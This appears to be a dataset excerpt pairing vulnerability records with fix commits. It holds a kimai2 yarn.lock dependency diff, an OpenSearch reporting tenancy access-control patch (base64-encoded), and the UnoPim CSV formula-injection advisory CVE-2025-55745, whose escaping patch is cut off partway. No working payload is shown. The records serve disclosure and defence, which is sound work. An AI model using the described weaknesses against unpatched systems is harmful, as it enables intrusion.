-    chokidar "^3.4.1"
-    watchpack-chokidar2 "^2.0.1"
 
 wbuf@^1.1.0, wbuf@^1.7.3:
   version "1.7.3"
@@ -7632,92 +6958,80 @@ wbuf@^1.1.0, wbuf@^1.7.3:
   dependencies:
     minimalistic-assert "^1.0.0"
 
-webpack-cli@^3.0.0:
-  version "3.3.12"
-  resolved "https://registry.yarnpkg.com/webpack-cli/-/webpack-cli-3.3.12.tgz#94e9ada081453cd0aa609c99e500012fd3ad2d4a"
-  integrity sha512-NVWBaz9k839ZH/sinurM+HcDvJOTXwSjYp1ku+5XKeOC03z8v5QitnK/x+lAxGXFyhdayoIf/GOpv85z3/xPag==
-  dependencies:
-    chalk "^2.4.2"
-    cross-spawn "^6.0.5"
-    enhanced-resolve "^4.1.1"
-    findup-sync "^3.0.0"
-    global-modules "^2.0.0"
-    import-local "^2.0.0"
-    interpret "^1.4.0"
-    loader-utils "^1.4.0"
-    supports-color "^6.1.0"
-    v8-compile-cache "^2.1.1"
-    yargs "^13.3.2"
-
-webpack-dev-middleware@^3.7.2:
-  version "3.7.3"
-  resolved "https://registry.yarnpkg.com/webpack-dev-middleware/-/webpack-dev-middleware-3.7.3.tgz#0639372b143262e2b84ab95d3b91a7597061c2c5"
-  integrity sha512-djelc/zGiz9nZj/U7PTBi2ViorGJXEWo/3ltkPbDyxCXhhEXkW0ce99falaok4TPj+AsxLiXJR0EBOb0zh9fKQ==
+webpack-cli@^4:
+  version "4.6.0"
+  resolved "https://registry.yarnpkg.com/webpack-cli/-/webpack-cli-4.6.0.tgz#27ae86bfaec0cf393fcfd58abdc5a229ad32fd16"
+  integrity sha512-9YV+qTcGMjQFiY7Nb1kmnupvb1x40lfpj8pwdO/bom+sQiP4OBMKjHq29YQrlDWDPZO9r/qWaRRywKaRDKqBTA==
+  dependencies:
+    "@discoveryjs/json-ext" "^0.5.0"
+    "@webpack-cli/configtest" "^1.0.2"
+    "@webpack-cli/info" "^1.2.3"
+    "@webpack-cli/serve" "^1.3.1"
+    colorette "^1.2.1"
+    commander "^7.0.0"
+    enquirer "^2.3.6"
+    execa "^5.0.0"
+    fastest-levenshtein "^1.0.12"
+    import-local "^3.0.2"
+    interpret "^2.2.0"
+    rechoir "^0.7.0"
+    v8-compile-cache "^2.2.0"
+    webpack-merge "^5.7.3"
+
+webpack-dev-middleware@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/webpack-dev-middleware/-/webpack-dev-middleware-4.1.0.tgz#f0c1f12ff4cd855b3b5eec89ee0f69bcc5336364"
+  integrity sha512-mpa/FY+DiBu5+r5JUIyTCYWRfkWgyA3/OOE9lwfzV9S70A4vJYLsVRKj5rMFEsezBroy2FmPyQ8oBRVW8QmK1A==
   dependencies:
-    memory-fs "^0.4.1"
-    mime "^2.4.4"
-    mkdirp "^0.5.1"
+    colorette "^1.2.1"
+    mem "^8.0.0"
+    memfs "^3.2.0"
+    mime-types "^2.1.28"
     range-parser "^1.2.1"
-    webpack-log "^2.0.0"
+    schema-utils "^3.0.0"
 
-webpack-dev-server@^3.1.14:
-  version "3.11.2"
-  resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-3.11.2.tgz#695ebced76a4929f0d5de7fd73fafe185fe33708"
-  integrity sha512-A80BkuHRQfCiNtGBS1EMf2ChTUs0x+B3wGDFmOeT4rmJOHhHTCH2naNxIHhmkr0/UillP4U3yeIyv1pNp+QDLQ==
+webpack-dev-server@^4.0.0-beta.0:
+  version "4.0.0-beta.2"
+  resolved "https://registry.yarnpkg.com/webpack-dev-server/-/webpack-dev-server-4.0.0-beta.2.tgz#0364a5756544da9c077da829016817703db4d5ed"
+  integrity sha512-kbUAjQg1FLtCoIZ0NdcTZWRBVT1EDajBSvGAiAqQPJxBjsr0N3FQ57kJ/4SrIZPyAajn8kcHctwFsTKPwme1tQ==
   dependencies:
-    ansi-html "0.0.7"
+    ansi-html "^0.0.7"
     bonjour "^3.5.0"
-    chokidar "^2.1.8"
+    chokidar "^3.5.1"
     compression "^1.7.4"
     connect-history-api-fallback "^1.6.0"
-    debug "^4.1.1"
-    del "^4.1.1"
+    del "^6.0.0"
     express "^4.17.1"
-    html-entities "^1.3.1"
-    http-proxy-middleware "0.19.1"
-    import-local "^2.0.0"
-    internal-ip "^4.3.0"
-    ip "^1.1.5"
+    find-cache-dir "^3.3.1"
+    graceful-fs "^4.2.6"
+    html-entities "^2.3.2"
+    http-proxy-middleware "^1.1.0"
+    internal-ip "^6.2.0"
+    ipaddr.js "^2.0.0"
     is-absolute-url "^3.0.3"
     killable "^1.0.1"
-    loglevel "^1.6.8"
-    opn "^5.5.0"
-    p-retry "^3.0.1"
-    portfinder "^1.0.26"
-    schema-utils "^1.0.0"
+    open "^7.4.2"
+    p-retry "^4.5.0"
+    portfinder "^1.0.28"
+    schema-utils "^3.0.0"
     selfsigned "^1.10.8"
-    semver "^6.3.0"
     serve-index "^1.9.1"
     sockjs "^0.3.21"
-    sockjs-client "^1.5.0"
     spdy "^4.0.2"
-    strip-ansi "^3.0.1"
-    supports-color "^6.1.0"
+    strip-ansi "^6.0.0"
     url "^0.11.0"
-    webpack-dev-middleware "^3.7.2"
-    webpack-log "^2.0.0"
-    ws "^6.2.1"
-    yargs "^13.3.2"
+    webpack-dev-middleware "^4.1.0"
+    ws "^7.4.4"
 
-webpack-log@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.yarnpkg.com/webpack-log/-/webpack-log-2.0.0.tgz#5b7928e0637593f119d32f6227c1e0ac31e1b47f"
-  integrity sha512-cX8G2vR/85UYG59FgkoMamwHUIkSSlV3bBMRsbxVXVUk2j6NleCKjQ/WE9eYg9WY4w25O9w8wKP4rzNZFmUcUg==
-  dependencies:
-    ansi-colors "^3.0.0"
-    uuid "^3.3.2"
-
-webpack-manifest-plugin@^2.0.2:
-  version "2.2.0"
-  resolved "https://registry.yarnpkg.com/webpack-manifest-plugin/-/webpack-manifest-plugin-2.2.0.tgz#19ca69b435b0baec7e29fbe90fb4015de2de4f16"
-  integrity sha512-9S6YyKKKh/Oz/eryM1RyLVDVmy3NSPV0JXMRhZ18fJsq+AwGxUY34X54VNwkzYcEmEkDwNxuEOboCZEebJXBAQ==
+webpack-merge@^5.7.3:
+  version "5.7.3"
+  resolved "https://registry.yarnpkg.com/webpack-merge/-/webpack-merge-5.7.3.tgz#2a0754e1877a25a8bbab3d2475ca70a052708213"
+  integrity sha512-6/JUQv0ELQ1igjGDzHkXbVDRxkfA57Zw7PfiupdLFJYrgFqY5ZP8xxbpp2lU3EPwYx89ht5Z/aDkD40hFCm5AA==
   dependencies:
-    fs-extra "^7.0.0"
-    lodash ">=3.5 <5"
-    object.entries "^1.1.0"
-    tapable "^1.0.0"
+    clone-deep "^4.0.1"
+    wildcard "^2.0.0"
 
-webpack-notifier@^1.13.0:
+webpack-notifier@^1.13:
   version "1.13.0"
   resolved "https://registry.yarnpkg.com/webpack-notifier/-/webpack-notifier-1.13.0.tgz#24e43d00ee47032f047373ca291b2d1f543ec12d"
   integrity sha512-QLk6l/TZKGhyN6Hd1zobaiYno7S9YPX3wH86+YOSufHes77SegGhnGdj+4vrLDFK5A4ZKoQD5GRXXFnM0h0N8A==
@@ -7725,7 +7039,7 @@ webpack-notifier@^1.13.0:
     node-notifier "^9.0.0"
     strip-ansi "^6.0.0"
 
-webpack-sources@^1.1.0, webpack-sources@^1.3.0, webpack-sources@^1.4.0, webpack-sources@^1.4.1:
+webpack-sources@^1.1.0, webpack-sources@^1.4.3:
   version "1.4.3"
   resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-1.4.3.tgz#eedd8ec0b928fbf1cbfe994e22d2d890f330a933"
   integrity sha512-lgTS3Xhv1lCOKo7SA5TjKXMjpSM4sBjNV5+q2bqesbSPs5FjGmU6jjtBSkX9b4qW87vDIsCIlUPOEhbZrMdjeQ==
@@ -7733,34 +7047,42 @@ webpack-sources@^1.1.0, webpack-sources@^1.3.0, webpack-sources@^1.4.0, webpack-
     source-list-map "^2.0.0"
     source-map "~0.6.1"
 
-webpack@^4.20.0:
-  version "4.46.0"
-  resolved "https://registry.yarnpkg.com/webpack/-/webpack-4.46.0.tgz#bf9b4404ea20a073605e0a011d188d77cb6ad542"
-  integrity sha512-6jJuJjg8znb/xRItk7bkT0+Q7AHCYjjFnvKIWQPkNIOyRqoCGvkOs0ipeQzrqz4l5FtN5ZI/ukEHroeX/o1/5Q==
-  dependencies:
-    "@webassemblyjs/ast" "1.9.0"
-    "@webassemblyjs/helper-module-context" "1.9.0"
-    "@webassemblyjs/wasm-edit" "1.9.0"
-    "@webassemblyjs/wasm-parser" "1.9.0"
-    acorn "^6.4.1"
-    ajv "^6.10.2"
-    ajv-keywords "^3.4.1"
+webpack-sources@^2.1.1:
+  version "2.2.0"
+  resolved "https://registry.yarnpkg.com/webpack-sources/-/webpack-sources-2.2.0.tgz#058926f39e3d443193b6c31547229806ffd02bac"
+  integrity sha512-bQsA24JLwcnWGArOKUxYKhX3Mz/nK1Xf6hxullKERyktjNMC4x8koOeaDNTA2fEJ09BdWLbM/iTW0ithREUP0w==
+  dependencies:
+    source-list-map "^2.0.1"
+    source-map "^0.6.1"
+
+webpack@^5.12:
+  version "5.36.1"
+  resolved "https://registry.yarnpkg.com/webpack/-/webpack-5.36.1.tgz#d82bad3384f84ed45a8de3844c31730f56361ab7"
+  integrity sha512-2u25a82T+6quAxSlzEpN/R/RICwt20ONU3z3Ko05S8KVH9FXILcBYb2hD/rQtZT5y7lRAIsIIs05pdndY7ourQ==
+  dependencies:
+    "@types/eslint-scope" "^3.7.0"
+    "@types/estree" "^0.0.47"
+    "@webassemblyjs/ast" "1.11.0"
+    "@webassemblyjs/wasm-edit" "1.11.0"
+    "@webassemblyjs/wasm-parser" "1.11.0"
+    acorn "^8.2.1"
+    browserslist "^4.14.5"
     chrome-trace-event "^1.0.2"
-    enhanced-resolve "^4.5.0"
-    eslint-scope "^4.0.3"
+    enhanced-resolve "^5.8.0"
+    es-module-lexer "^0.4.0"
+    eslint-scope "^5.1.1"
+    events "^3.2.0"
+    glob-to-regexp "^0.4.1"
+    graceful-fs "^4.2.4"
     json-parse-better-errors "^1.0.2"
-    loader-runner "^2.4.0"
-    loader-utils "^1.2.3"
-    memory-fs "^0.4.1"
-    micromatch "^3.1.10"
-    mkdirp "^0.5.3"
-    neo-async "^2.6.1"
-    node-libs-browser "^2.2.1"
-    schema-utils "^1.0.0"
-    tapable "^1.1.3"
-    terser-webpack-plugin "^1.4.3"
-    watchpack "^1.7.4"
-    webpack-sources "^1.4.1"
+    loader-runner "^4.2.0"
+    mime-types "^2.1.27"
+    neo-async "^2.6.2"
+    schema-utils "^3.0.0"
+    tapable "^2.1.1"
+    terser-webpack-plugin "^5.1.1"
+    watchpack "^2.0.0"
+    webpack-sources "^2.1.1"
 
 websocket-driver@>=0.5.1, websocket-driver@^0.7.4:
   version "0.7.4"
@@ -7805,14 +7127,14 @@ which-typed-array@^1.1.2:
     has-symbols "^1.0.1"
     is-typed-array "^1.1.3"
 
-which@1, which@^1.2.14, which@^1.2.9, which@^1.3.1:
+which@1, which@^1.2.9:
   version "1.3.1"
   resolved "https://registry.yarnpkg.com/which/-/which-1.3.1.tgz#a45043d54f5805316da8d62f9f50918d3da70b0a"
   integrity sha512-HxJdYWq1MTIQbJ3nw0cqssHoTNU267KlrDuGZ1WYlxDStUtKUhOaJmh112/TZmHxxUfuJqPXSOm7tDyas0OSIQ==
   dependencies:
     isexe "^2.0.0"
 
-which@^2.0.2:
+which@^2.0.1, which@^2.0.2:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/which/-/which-2.0.2.tgz#7c6a8dd0a636a0327e10b59c9286eee93f3f51b1"
   integrity sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==
@@ -7826,12 +7148,10 @@ wide-align@^1.1.0:
   dependencies:
     string-width "^1.0.2 || 2"
 
-worker-farm@^1.7.0:
-  version "1.7.0"
-  resolved "https://registry.yarnpkg.com/worker-farm/-/worker-farm-1.7.0.tgz#26a94c5391bbca926152002f69b84a4bf772e5a8"
-  integrity sha512-rvw3QTZc8lAxyVrqcSGVm5yP/IJ2UcB3U0graE3LCFoZ0Yn2x4EoVSqJKdB/T5M+FLcRPjz4TDacRf3OCfNUzw==
-  dependencies:
-    errno "~0.1.7"
+wildcard@^2.0.0:
+  version "2.0.0"
+  resolved "https://registry.yarnpkg.com/wildcard/-/wildcard-2.0.0.tgz#a77d20e5200c6faaac979e4b3aadc7b3dd7f8fec"
+  integrity sha512-JcKqAHLPxcdb9KM49dufGXn2x3ssnfjbcaQdLlfZsL9rH9wgDQjUtDxbo8NE0F6SFvydeu1VhZe7hZuHsB2/pw==
 
 wrap-ansi@^5.1.0:
   version "5.1.0"
@@ -7847,12 +7167,10 @@ wrappy@1:
   resolved "https://registry.yarnpkg.com/wrappy/-/wrappy-1.0.2.tgz#b5243d8f3ec1aa35f1364605bc0d1036e30ab69f"
   integrity sha1-tSQ9jz7BqjXxNkYFvA0QNuMKtp8=
 
-ws@^6.2.1:
-  version "6.2.1"
-  resolved "https://registry.yarnpkg.com/ws/-/ws-6.2.1.tgz#442fdf0a47ed64f59b6a5d8ff130f4748ed524fb"
-  integrity sha512-GIyAXC2cB7LjvpgMt9EKS2ldqr0MTrORaleiOno6TweZ6r3TKtoFQWay/2PceJ3RuBasOHzXNn5Lrw1X0bEjqA==
-  dependencies:
-    async-limiter "~1.0.0"
+ws@^7.4.4:
+  version "7.4.5"
+  resolved "https://registry.yarnpkg.com/ws/-/ws-7.4.5.tgz#a484dd851e9beb6fdb420027e3885e8ce48986c1"
+  integrity sha512-xzyu3hFvomRfXKH8vOFMU3OguG6oOvhXMo3xsGy3xWExqaM2dxBbVxuD99O7m3ZUFMvvscsZDqxfgMaRr/Nr1g==
 
 xtend@^4.0.0, xtend@^4.0.1, xtend@^4.0.2, xtend@~4.0.1:
   version "4.0.2"
@@ -7869,24 +7187,11 @@ yallist@^2.1.2:
   resolved "https://registry.yarnpkg.com/yallist/-/yallist-2.1.2.tgz#1c11f9218f076089a47dd512f93c6699a6a81d52"
   integrity sha1-HBH5IY8HYImkfdUS+TxmmaaoHVI=
 
-yallist@^3.0.2:
-  version "3.1.1"
-  resolved "https://registry.yarnpkg.com/yallist/-/yallist-3.1.1.tgz#dbb7daf9bfd8bac9ab45ebf602b8cbad0d5d08fd"
-  integrity sha512-a4UGQaWPH59mOXUYnAG2ewncQS4i4F43Tv3JoAM+s2VDAmS9NsK8GpDMLrCHPksFT7h3K6TOoUNn2pb7RoXx4g==
-
 yallist@^4.0.0:
   version "4.0.0"
   resolved "https://registry.yarnpkg.com/yallist/-/yallist-4.0.0.tgz#9bb92790d9c0effec63be73519e11a35019a3a72"
   integrity sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==
 
-yargs-parser@^12.0.0:
-  version "12.0.0"
-  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-12.0.0.tgz#18aa348854747dfe1002d01bd87d65df10d40a84"
-  integrity sha512-WQM8GrbF5TKiACr7iE3I2ZBNC7qC9taKPMfjJaMD2LkOJQhIctASxKXdFAOPim/m47kgAQBVIaPlFjnRdkol7w==
-  dependencies:
-    camelcase "^5.0.0"
-    decamelize "^1.2.0"
-
 yargs-parser@^13.1.2:
   version "13.1.2"
   resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-13.1.2.tgz#130f09702ebaeef2650d54ce6e3e5706f7a4fb38"
@@ -7895,6 +7200,11 @@ yargs-parser@^13.1.2:
     camelcase "^5.0.0"
     decamelize "^1.2.0"
 
+yargs-parser@^20.2.4:
+  version "20.2.7"
+  resolved "https://registry.yarnpkg.com/yargs-parser/-/yargs-parser-20.2.7.tgz#61df85c113edfb5a7a4e36eb8aa60ef423cbc90a"
+  integrity sha512-FiNkvbeHzB/syOjIUxFDCnhSfzAL8R5vs40MgLFBorXACCOAEaWu0gRZl14vG8MR9AOJIZbmkjhusqBYZ3HTHw==
+
 yargs@^13.3.2:
   version "13.3.2"
   resolved "https://registry.yarnpkg.com/yargs/-/yargs-13.3.2.tgz#ad7ffefec1aa59565ac915f82dccb38a9c31a2dd"
@@ -7910,3 +7220,8 @@ yargs@^13.3.2:
     which-module "^2.0.0"
     y18n "^4.0.0"
     yargs-parser "^13.1.2"
+
+yocto-queue@^0.1.0:
+  version "0.1.0"
+  resolved "https://registry.yarnpkg.com/yocto-queue/-/yocto-queue-0.1.0.tgz#0294eb3dee05028d31ee1a5fa2c556a6aaf10a1b"
+  integrity sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==", "url": "https://github.com/kevinpapst/kimai2/commit/dad1b8b772947f1596175add1b4f33b791705507.patch" } ]
n/a
GHSA-xmvg-335g-x44q
The OpenSearch reporting plugin improperly controls tenancy access to reporting resources
null
[ { "commit_message": "<98922864+opensearch-trigger-bot[bot]@users.noreply.github.com> [PATCH] tenancy access control (#992) (#993) * Check user name for private tenant access control * fix broken link (cherry picked from commit 99f02f3745d7e9a88c144b3f2cba000e153bfd07) Signed-off-by: Sean Kao <seankao@amazon.com> Signed-off-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com> Co-authored-by: github-actions[bot] <github-actions[bot]@users.noreply.github.com> README.md | 2 +- .../opensearch/reportsscheduler/security/UserAccessManager.kt | 3 +++ 2 files changed, 4 insertions(+), 1 deletion(-)", "patch_text_b64": "RnJvbSAyNDAzMDE0YzU3ZWU2MzI2OGU4M2Q5MTlkYjMzMzRiNjc2YThjOTkyIE1vbiBTZXAgMTcgMDA6MDA6MDAgMjAwMQpGcm9tOiAib3BlbnNlYXJjaC10cmlnZ2VyLWJvdFtib3RdIgogPDk4OTIyODY0K29wZW5zZWFyY2gtdHJpZ2dlci1ib3RbYm90XUB1c2Vycy5ub3JlcGx5LmdpdGh1Yi5jb20+CkRhdGU6IEZyaSwgMjYgQXByIDIwMjQgMTA6MTE6NDAgLTA3MDAKU3ViamVjdDogW1BBVENIXSB0ZW5hbmN5IGFjY2VzcyBjb250cm9sICgjOTkyKSAoIzk5MykKCiogQ2hlY2sgdXNlciBuYW1lIGZvciBwcml2YXRlIHRlbmFudCBhY2Nlc3MgY29udHJvbAoKCgoqIGZpeCBicm9rZW4gbGluawoKCgotLS0tLS0tLS0KCgooY2hlcnJ5IHBpY2tlZCBmcm9tIGNvbW1pdCA5OWYwMmYzNzQ1ZDdlOWE4OGMxNDRiM2YyY2JhMDAwZTE1M2JmZDA3KQoKU2lnbmVkLW9mZi1ieTogU2VhbiBLYW8gPHNlYW5rYW9AYW1hem9uLmNvbT4KU2lnbmVkLW9mZi1ieTogZ2l0aHViLWFjdGlvbnNbYm90XSA8Z2l0aHViLWFjdGlvbnNbYm90XUB1c2Vycy5ub3JlcGx5LmdpdGh1Yi5jb20+CkNvLWF1dGhvcmVkLWJ5OiBnaXRodWItYWN0aW9uc1tib3RdIDxnaXRodWItYWN0aW9uc1tib3RdQHVzZXJzLm5vcmVwbHkuZ2l0aHViLmNvbT4KLS0tCiBSRUFETUUubWQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB8IDIgKy0KIC4uLi9vcGVuc2VhcmNoL3JlcG9ydHNzY2hlZHVsZXIvc2VjdXJpdHkvVXNlckFjY2Vzc01hbmFnZXIua3QgIHwgMyArKysKIDIgZmlsZXMgY2hhbmdlZCwgNCBpbnNlcnRpb25zKCspLCAxIGRlbGV0aW9uKC0pCgpkaWZmIC0tZ2l0IGEvUkVBRE1FLm1kIGIvUkVBRE1FLm1kCmluZGV4IDIzNTRjMGJiLi4wOTkzMTdmNCAxMDA2NDQKLS0tIGEvUkVBRE1FLm1kCisrKyBiL1JFQURNRS5tZApAQCAtNjAsNyArNjAsNyBAQCBPcGVuU2VhcmNoIERhc2hib2FyZHMgUmVwb3J0cyBhbGxvd3Mg4oCYUmVwb3J0IE93bmVy4oCZIChlbmdpbmVlcnMsIGluY2x1ZGluZyBidQogW3JlcG9ydHMtc2NoZWR1bGVyLWl0LWJhZGdlXTogaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS9SZXBvcnRzJTIwU2NoZWR1bGVyJTIwSVQlMjB0ZXN0cy1pbiUyMHByb2dyZXNzLXllbGxvdwogW3JlcG9ydHMtc2NoZWR1bGVyLWl0LWxpbmtdOiBodHRwczovL2dpdGh1Yi5jb20vb3BlbnNlYXJjaC1wcm9qZWN0L29wZW5zZWFyY2gtYnVpbGQvaXNzdWVzLzExMjQKIFtyZXBvcnRzLXNjaGVkdWxlci1pdC1jb2RlLWJhZGdlXTogaHR0cHM6Ly9pbWcuc2hpZWxkcy5pby9iYWRnZS9SZXBvcnRzJTIwU2NoZWR1bGVyJTIwY29kZS1ibHVlCi1bcmVwb3J0cy1zY2hlZHVsZXItaXQtY29kZS1saW5rXTogaHR0cHM6Ly9naXRodWIuY29tL29wZW5zZWFyY2gtcHJvamVjdC9kYXNoYm9hcmRzLXJlcG9ydHMvYmxvYi9tYWluL3JlcG9ydHMtc2NoZWR1bGVyL3NyYy90ZXN0L2tvdGxpbi9vcmcvb3BlbnNlYXJjaC9yZXBvcnRzc2NoZWR1bGVyL1JlcG9ydHNTY2hlZHVsZXJQbHVnaW5JVC5rdAorW3JlcG9ydHMtc2NoZWR1bGVyLWl0LWNvZGUtbGlua106IGh0dHBzOi8vZ2l0aHViLmNvbS9vcGVuc2VhcmNoLXByb2plY3QvcmVwb3J0aW5nL2Jsb2IvbWFpbi9zcmMvdGVzdC9rb3RsaW4vb3JnL29wZW5zZWFyY2gvaW50ZWdUZXN0L1JlcG9ydHNTY2hlZHVsZXJQbHVnaW5JVC5rdAogW2J3Yy10ZXN0cy1iYWRnZV06IGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vYmFkZ2UvQldDJTIwdGVzdHMtaW4lMjBwcm9ncmVzcy15ZWxsb3cKIFtid2MtdGVzdHMtbGlua106IGh0dHBzOi8vZ2l0aHViLmNvbS9vcGVuc2VhcmNoLXByb2plY3QvZGFzaGJvYXJkcy1yZXBvcnRzL3B1bGwvMjQ0L2ZpbGVzCiBbZ29vZC1maXJzdC1iYWRnZV06IGh0dHBzOi8vaW1nLnNoaWVsZHMuaW8vZ2l0aHViL2lzc3Vlcy9vcGVuc2VhcmNoLXByb2plY3QvZGFzaGJvYXJkcy1yZXBvcnRzL2dvb2QlMjBmaXJzdCUyMGlzc3VlLnN2ZwpkaWZmIC0tZ2l0IGEvc3JjL21haW4va290bGluL29yZy9vcGVuc2VhcmNoL3JlcG9ydHNzY2hlZHVsZXIvc2VjdXJpdHkvVXNlckFjY2Vzc01hbmFnZXIua3QgYi9zcmMvbWFpbi9rb3RsaW4vb3JnL29wZW5zZWFyY2gvcmVwb3J0c3NjaGVkdWxlci9zZWN1cml0eS9Vc2VyQWNjZXNzTWFuYWdlci5rdAppbmRleCA5ZjI1ODMxZi4uYzJmMjQ1MzQgMTAwNjQ0Ci0tLSBhL3NyYy9tYWluL2tvdGxpbi9vcmcvb3BlbnNlYXJjaC9yZXBvcnRzc2NoZWR1bGVyL3NlY3VyaXR5L1VzZXJBY2Nlc3NNYW5hZ2VyLmt0CisrKyBiL3NyYy9tYWluL2tvdGxpbi9vcmcvb3BlbnNlYXJjaC9yZXBvcnRzc2NoZWR1bGVyL3NlY3VyaXR5L1VzZXJBY2Nlc3NNYW5hZ2VyLmt0CkBAIC0xMTgsNiArMTE4LDkgQEAgaW50ZXJuYWwgb2JqZWN0IFVzZXJBY2Nlc3NNYW5hZ2VyIHsKICAgICAgICAgaWYgKGdldFVzZXJUZW5hbnQodXNlcikgIT0gdGVuYW50KSB7CiAgICAgICAgICAgICByZXR1cm4gZmFsc2UKICAgICAgICAgfQorICAgICAgICBpZiAoaXNVc2VyUHJpdmF0ZVRlbmFudCh1c2VyKSkgeworICAgICAgICAgICAgcmV0dXJuIGFjY2Vzcy5jb250YWlucygiJFVTRVJfVEFHJHt1c2VyLm5hbWV9IikKKyAgICAgICAgfQogICAgICAgICByZXR1cm4gaWYgKFBsdWdpblNldHRpbmdzLmlzUmJhY0VuYWJsZWQoKSkgewogICAgICAgICAgICAgdXNlci5iYWNrZW5kUm9sZXMubWFwIHsgIiRCQUNLRU5EX1JPTEVfVEFHJGl0IiB9LmFueSB7IGl0IGluIGFjY2VzcyB9CiAgICAgICAgIH0gZWxzZSB7", "url": "https://github.com/opensearch-project/reporting/commit/2403014c57ee63268e83d919db3334b676a8c992.patch" } ]
null
CVE-2025-55745
UnoPim Quick Export feature is vulnerable to CSV injection
UnoPim is an open-source Product Information Management (PIM) system built on the Laravel framework. Versions 0.3.0 and prior are vulnerable to CSV injection, also known as formula injection, in the Quick Export feature. This vulnerability allows attackers to inject malicious content into exported CSV files. When the CSV file is opened in spreadsheet applications such as Microsoft Excel, the malicious input may be interpreted as a formula or command, potentially resulting in the execution of arbitrary code on the victim's device. Successful exploitation can lead to remote code execution, including the establishment of a reverse shell. Users are advised to upgrade to version 0.3.1 or later.
[ { "commit_message": "[PATCH] fix: escape formula operators when exporting to CSV/XLSX files .../Helpers/Exporters/Category/Exporter.php | 3 ++ .../Helpers/Exporters/Product/Exporter.php | 3 +- .../Formatters/EscapeFormulaOperators.php | 50 +++++++++++++++++++ .../Helpers/Importers/Category/Importer.php | 3 ++ .../Helpers/Importers/Product/Importer.php | 3 ++ .../Formatters/EscapeFormulaOperatorsTest.php | 50 +++++++++++++++++++ .../ProductAttributeValuesNormalizer.php | 3 +- 7 files changed, 113 insertions(+), 2 deletions(-) create mode 100644 packages/Webkul/DataTransfer/src/Helpers/Formatters/EscapeFormulaOperators.php create mode 100644 packages/Webkul/DataTransfer/tests/Unit/Helpers/Formatters/EscapeFormulaOperatorsTest.php", "patch_text_b64": "From 8325b78567411ad78d44c0385f192360e608ff71 Mon Sep 17 00:00:00 2001
From: "devansh.pal507" <devansh.pal507@webkul.in>
Date: Mon, 18 Aug 2025 16:56:10 +0530
Subject: [PATCH] fix: escape formula operators when exporting to CSV/XLSX
 files

---
 .../Helpers/Exporters/Category/Exporter.php   |  3 ++
 .../Helpers/Exporters/Product/Exporter.php    |  3 +-
 .../Formatters/EscapeFormulaOperators.php     | 50 +++++++++++++++++++
 .../Helpers/Importers/Category/Importer.php   |  3 ++
 .../Helpers/Importers/Product/Importer.php    |  3 ++
 .../Formatters/EscapeFormulaOperatorsTest.php | 50 +++++++++++++++++++
 .../ProductAttributeValuesNormalizer.php      |  3 +-
 7 files changed, 113 insertions(+), 2 deletions(-)
 create mode 100644 packages/Webkul/DataTransfer/src/Helpers/Formatters/EscapeFormulaOperators.php
 create mode 100644 packages/Webkul/DataTransfer/tests/Unit/Helpers/Formatters/EscapeFormulaOperatorsTest.php

diff --git a/packages/Webkul/DataTransfer/src/Helpers/Exporters/Category/Exporter.php b/packages/Webkul/DataTransfer/src/Helpers/Exporters/Category/Exporter.php
index 5856fb4d5..f61397056 100644
--- a/packages/Webkul/DataTransfer/src/Helpers/Exporters/Category/Exporter.php
+++ b/packages/Webkul/DataTransfer/src/Helpers/Exporters/Category/Exporter.php
@@ -8,6 +8,7 @@
 use Webkul\DataTransfer\Contracts\JobTrackBatch as JobTrackBatchContract;
 use Webkul\DataTransfer\Helpers\Export;
 use Webkul\DataTransfer\Helpers\Exporters\AbstractExporter;
+use Webkul\DataTransfer\Helpers\Formatters\EscapeFormulaOperators;
 use Webkul\DataTransfer\Jobs\Export\File\FlatItemBuffer as FileExportFileBuffer;
 use Webkul\DataTransfer\Repositories\JobTrackBatchRepository;
 
@@ -128,6 +129,8 @@ protected function setFieldsAdditionalData(array $additionalData, $filePath, $op
                     $this->copyMedia($exitingFilePath, $newfilePath);
                 }
             }
+
+            $fieldValues[$field->code] = EscapeFormulaOperators::escapeValue($additionalData[$field->code] ?? null);
         }
 
         return $fieldValues;
diff --git a/packages/Webkul/DataTransfer/src/Helpers/Exporters/Product/Exporter.php b/packages/Webkul/DataTransfer/src/Helpers/Exporters/Product/Exporter.php
index df4dd2520..608f3e131 100644
--- a/packages/Webkul/DataTransfer/src/Helpers/Exporters/Product/Exporter.php
+++ b/packages/Webkul/DataTransfer/src/Helpers/Exporters/Product/Exporter.php
@@ -9,6 +9,7 @@
 use Webkul\DataTransfer\Contracts\JobTrackBatch as JobTrackBatchContract;
 use Webkul\DataTransfer\Helpers\Export;
 use Webkul\DataTransfer\Helpers\Exporters\AbstractExporter;
+use Webkul\DataTransfer\Helpers\Formatters\EscapeFormulaOperators;
 use Webkul\DataTransfer\Helpers\Sources\Export\ProductSource;
 use Webkul\DataTransfer\Jobs\Export\File\FlatItemBuffer as FileExportFileBuffer;
 use Webkul\DataTransfer\Repositories\JobTrackBatchRepository;
@@ -249,7 +250,7 @@ protected function setAttributesValues(array $values, mixed $filePath)
                 $rawValue = implode(', ', $rawValue);
             }
 
-            $attributeValues[$code] = $rawValue;
+            $attributeValues[$code] = EscapeFormulaOperators::escapeValue($rawValue);
         }
 
         return $attributeValues;
diff --git a/packages/Webkul/DataTransfer/src/Helpers/Formatters/EscapeFormulaOperators.php b/packages/Webkul/DataTransfer/src/Helpers/Formatters/EscapeFormulaOperators.php
new file mode 100644
index 000000000..4b8afec57
--- /dev/null
